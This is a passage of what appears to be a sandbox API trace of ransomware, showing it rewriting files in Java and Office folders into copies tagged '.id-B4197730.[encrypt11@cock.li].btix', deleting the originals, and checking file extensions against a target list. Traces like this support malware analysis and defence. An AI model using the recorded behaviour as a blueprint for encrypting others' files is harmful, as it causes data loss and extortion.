lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.192] WriteFile (in: hFile=0x380, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xf4, lpOverlapped=0x0) returned 1 [0156.192] SetEndOfFile (hFile=0x380) returned 1 [0156.192] CloseHandle (hObject=0x380) returned 1 [0156.193] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.193] SetEndOfFile (hFile=0x354) returned 1 [0156.204] CloseHandle (hObject=0x354) returned 1 [0156.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.204] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0156.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.205] lstrlenW (lpString=".doc") returned 4 [0156.205] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString=".docx") returned 5 [0156.205] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0156.205] lstrlenW (lpString=".pdf") returned 4 [0156.205] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString=".xls") returned 4 [0156.205] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString=".xlsx") returned 5 [0156.205] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0156.205] lstrlenW (lpString=".ppt") returned 4 [0156.205] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.205] lstrlenW (lpString=".zip") returned 4 [0156.205] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString=".rar") returned 4 [0156.205] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString=".bz2") returned 4 [0156.205] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString=".7z") returned 3 [0156.205] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0156.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.205] lstrlenW (lpString=".dbf") returned 4 [0156.205] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0156.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.205] lstrlenW (lpString=".1cd") returned 4 [0156.205] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.206] lstrlenW (lpString=".jpg") returned 4 [0156.206] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.206] lstrlenW (lpString=".doc") returned 4 [0156.206] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString=".docx") returned 5 [0156.206] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0156.206] lstrlenW (lpString=".pdf") returned 4 [0156.206] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString=".xls") returned 4 [0156.206] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString=".xlsx") returned 5 [0156.206] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0156.206] lstrlenW (lpString=".ppt") returned 4 [0156.206] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.206] lstrlenW (lpString=".zip") returned 4 [0156.206] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString=".rar") returned 4 [0156.206] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString=".bz2") returned 4 [0156.206] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString=".7z") returned 3 [0156.206] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.206] lstrlenW (lpString=".dbf") returned 4 [0156.206] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.206] lstrlenW (lpString=".1cd") returned 4 [0156.206] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0156.206] lstrlenW (lpString=".jpg") returned 4 [0156.206] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0156.207] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".btix") returned -1 [0156.207] lstrlenW (lpString="tzmappings") returned 10 [0156.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0156.207] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=8400) returned 1 [0156.207] CloseHandle (hObject=0x354) returned 1 [0156.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0156.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0156.207] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.207] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.208] GetLastError () returned 0x0 [0156.208] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x20d0, lpOverlapped=0x0) returned 1 [0156.209] WriteFile (in: hFile=0x380, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x20e0, lpOverlapped=0x0) returned 1 [0156.209] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.210] WriteFile (in: hFile=0x380, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe8, lpOverlapped=0x0) returned 1 [0156.210] SetEndOfFile (hFile=0x380) returned 1 [0156.210] CloseHandle (hObject=0x380) returned 1 [0156.210] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.210] SetEndOfFile (hFile=0x354) returned 1 [0156.211] CloseHandle (hObject=0x354) returned 1 [0156.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.211] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0156.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.211] lstrlenW (lpString=".doc") returned 4 [0156.211] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0156.211] lstrlenW (lpString=".docx") returned 5 [0156.211] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0156.211] lstrlenW (lpString=".pdf") returned 4 [0156.211] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0156.211] lstrlenW (lpString=".xls") returned 4 [0156.211] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0156.211] lstrlenW (lpString=".xlsx") returned 5 [0156.211] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0156.211] lstrlenW (lpString=".ppt") returned 4 [0156.211] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0156.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.211] lstrlenW (lpString=".zip") returned 4 [0156.211] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString=".rar") returned 4 [0156.212] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString=".bz2") returned 4 [0156.212] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString=".7z") returned 3 [0156.212] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0156.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.212] lstrlenW (lpString=".dbf") returned 4 [0156.212] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.212] lstrlenW (lpString=".1cd") returned 4 [0156.212] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.212] lstrlenW (lpString=".jpg") returned 4 [0156.212] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.212] lstrlenW (lpString=".doc") returned 4 [0156.212] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString=".docx") returned 5 [0156.212] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0156.212] lstrlenW (lpString=".pdf") returned 4 [0156.212] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString=".xls") returned 4 [0156.212] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString=".xlsx") returned 5 [0156.212] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0156.212] lstrlenW (lpString=".ppt") returned 4 [0156.212] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.212] lstrlenW (lpString=".zip") returned 4 [0156.212] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0156.212] lstrlenW (lpString=".rar") returned 4 [0156.213] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0156.213] lstrlenW (lpString=".bz2") returned 4 [0156.213] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0156.213] lstrlenW (lpString=".7z") returned 3 [0156.213] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0156.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.213] lstrlenW (lpString=".dbf") returned 4 [0156.213] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0156.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.213] lstrlenW (lpString=".1cd") returned 4 [0156.213] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0156.213] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0156.213] lstrlenW (lpString=".jpg") returned 4 [0156.213] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0156.213] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".btix") returned -1 [0156.213] lstrlenW (lpString="LICENSE") returned 7 [0156.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0156.213] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=40) returned 1 [0156.213] CloseHandle (hObject=0x354) returned 1 [0156.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0156.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0156.214] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.214] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.214] GetLastError () returned 0x0 [0156.214] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x28, lpOverlapped=0x0) returned 1 [0156.215] WriteFile (in: hFile=0x380, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x30, lpOverlapped=0x0) returned 1 [0156.216] ReadFile (in: hFile=0x354, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.216] WriteFile (in: hFile=0x380, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe2, lpOverlapped=0x0) returned 1 [0156.216] SetEndOfFile (hFile=0x380) returned 1 [0156.216] CloseHandle (hObject=0x380) returned 1 [0156.216] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.216] SetEndOfFile (hFile=0x354) returned 1 [0156.217] CloseHandle (hObject=0x354) returned 1 [0156.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0156.217] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0156.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.217] lstrlenW (lpString=".doc") returned 4 [0156.217] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0156.217] lstrlenW (lpString=".docx") returned 5 [0156.217] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0156.217] lstrlenW (lpString=".pdf") returned 4 [0156.217] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0156.217] lstrlenW (lpString=".xls") returned 4 [0156.217] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0156.217] lstrlenW (lpString=".xlsx") returned 5 [0156.217] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0156.217] lstrlenW (lpString=".ppt") returned 4 [0156.217] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0156.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.218] lstrlenW (lpString=".zip") returned 4 [0156.218] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString=".rar") returned 4 [0156.218] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString=".bz2") returned 4 [0156.218] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString=".7z") returned 3 [0156.218] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0156.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.218] lstrlenW (lpString=".dbf") returned 4 [0156.218] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.218] lstrlenW (lpString=".1cd") returned 4 [0156.218] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.218] lstrlenW (lpString=".jpg") returned 4 [0156.218] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.218] lstrlenW (lpString=".doc") returned 4 [0156.218] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString=".docx") returned 5 [0156.218] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0156.218] lstrlenW (lpString=".pdf") returned 4 [0156.218] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString=".xls") returned 4 [0156.218] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString=".xlsx") returned 5 [0156.218] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0156.218] lstrlenW (lpString=".ppt") returned 4 [0156.218] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0156.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.218] lstrlenW (lpString=".zip") returned 4 [0156.218] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0156.219] lstrlenW (lpString=".rar") returned 4 [0156.219] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0156.219] lstrlenW (lpString=".bz2") returned 4 [0156.219] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0156.219] lstrlenW (lpString=".7z") returned 3 [0156.219] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0156.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.429] lstrlenW (lpString=".dbf") returned 4 [0156.429] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0156.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.429] lstrlenW (lpString=".1cd") returned 4 [0156.429] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0156.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0156.429] lstrlenW (lpString=".jpg") returned 4 [0156.429] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0156.429] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.429] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0156.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.429] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=11616) returned 1 [0156.429] CloseHandle (hObject=0x36c) returned 1 [0156.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0156.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.430] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.430] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.430] GetLastError () returned 0x0 [0156.430] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0156.432] WriteFile (in: hFile=0x358, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0156.433] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.433] WriteFile (in: hFile=0x358, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x116, lpOverlapped=0x0) returned 1 [0156.433] SetEndOfFile (hFile=0x358) returned 1 [0156.433] CloseHandle (hObject=0x358) returned 1 [0156.433] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.433] SetEndOfFile (hFile=0x36c) returned 1 [0156.434] CloseHandle (hObject=0x36c) returned 1 [0156.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0156.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79 [0156.434] lstrlenW (lpString=".doc") returned 4 [0156.434] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.435] lstrlenW (lpString=".docx") returned 5 [0156.435] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.435] lstrlenW (lpString=".pdf") returned 4 [0156.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.435] lstrlenW (lpString=".xls") returned 4 [0156.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.435] lstrlenW (lpString=".xlsx") returned 5 [0156.435] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.435] lstrlenW (lpString=".ppt") returned 